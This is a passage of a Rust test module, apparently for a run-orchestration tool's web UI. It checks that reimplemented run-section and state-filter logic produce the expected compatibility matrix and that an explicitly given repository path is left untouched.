10346                let done = !not_done.contains(&status.as_str());
10347                (waiting, status, dead, done)
10348            })
10349            .collect();
10350
10351        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
10352        // outright, then merged/ready land, stalled/blocked/failed/
10353        // verified_noop end, and everything else is still in flight.
10354        fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
10355            if waiting {
10356                return "waiting";
10357            }
10358            if dead
10359                && !matches!(
10360                    status,
10361                    "merged"
10362                        | "ready"
10363                        | "stalled"
10364                        | "blocked"
10365                        | "failed"
10366                        | "verified_noop"
10367                        | "superseded"
10368                )
10369            {
10370                return "stale";
10371            }
10372            match status {
10373                "merged" | "ready" => "landed",
10374                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded" => "ended",
10375                _ => "flight",
10376            }
10377        }
10378
10379        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
10380        // way.
10381        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
10382            match filter_key {
10383                "active" => !done,
10384                "flight" => !done && !waiting && !dead,
10385                "stale" => !done && !waiting && dead,
10386                "waiting" => waiting,
10387                "done" => done,
10388                "all" => true,
10389                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
10390            }
10391        }
10392
10393        let compatible = |section: &str, filter_key: &str| {
10394            shapes.iter().any(|(waiting, status, dead, done)| {
10395                run_section(*waiting, status, *dead) == section
10396                    && filter_matches(filter_key, *waiting, *dead, *done)
10397            })
10398        };
10399
10400        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
10401        // (active, flight, stale, waiting, done, all) - hand-derived from the
10402        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
10403        // currently contains.
10404        let expected = [
10405            ("waiting", [true, false, false, true, true, true]),
10406            ("stale", [true, false, true, false, false, true]),
10407            ("flight", [true, true, false, false, false, true]),
10408            ("landed", [false, false, false, false, true, true]),
10409            ("ended", [false, false, false, false, true, true]),
10410        ];
10411        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
10412
10413        for (section, wants) in expected {
10414            for (filter_key, want) in filter_keys.iter().zip(wants) {
10415                assert_eq!(
10416                    compatible(section, filter_key),
10417                    want,
10418                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
10419                );
10420            }
10421        }
10422
10423        // The compatibility check exists only to be acted on: both pickers
10424        // must actually consult it rather than just render its answer.
10425        assert!(
10426            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
10427        );
10428        assert!(APP_JS.contains(
10429            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
10430        ));
10431        assert!(APP_JS.contains(
10432            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
10433        ));
10434    }
10435
10436    #[tokio::test]
10437    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
10438        // An operator-named directory - git checkout or not - is never
10439        // second-guessed, even when it does not exist at all: only the
10440        // flag's own unmodified `.` default is ever eligible for discovery.
10441        let dir = tempfile::tempdir().expect("tempdir");
10442        let explicit = dir.path().join("not-a-checkout");
10443        std::fs::create_dir_all(&explicit).expect("create dir");
10444        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
10445
10446        let missing = dir.path().join("does-not-exist-at-all");
10447        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
10448    }
10449}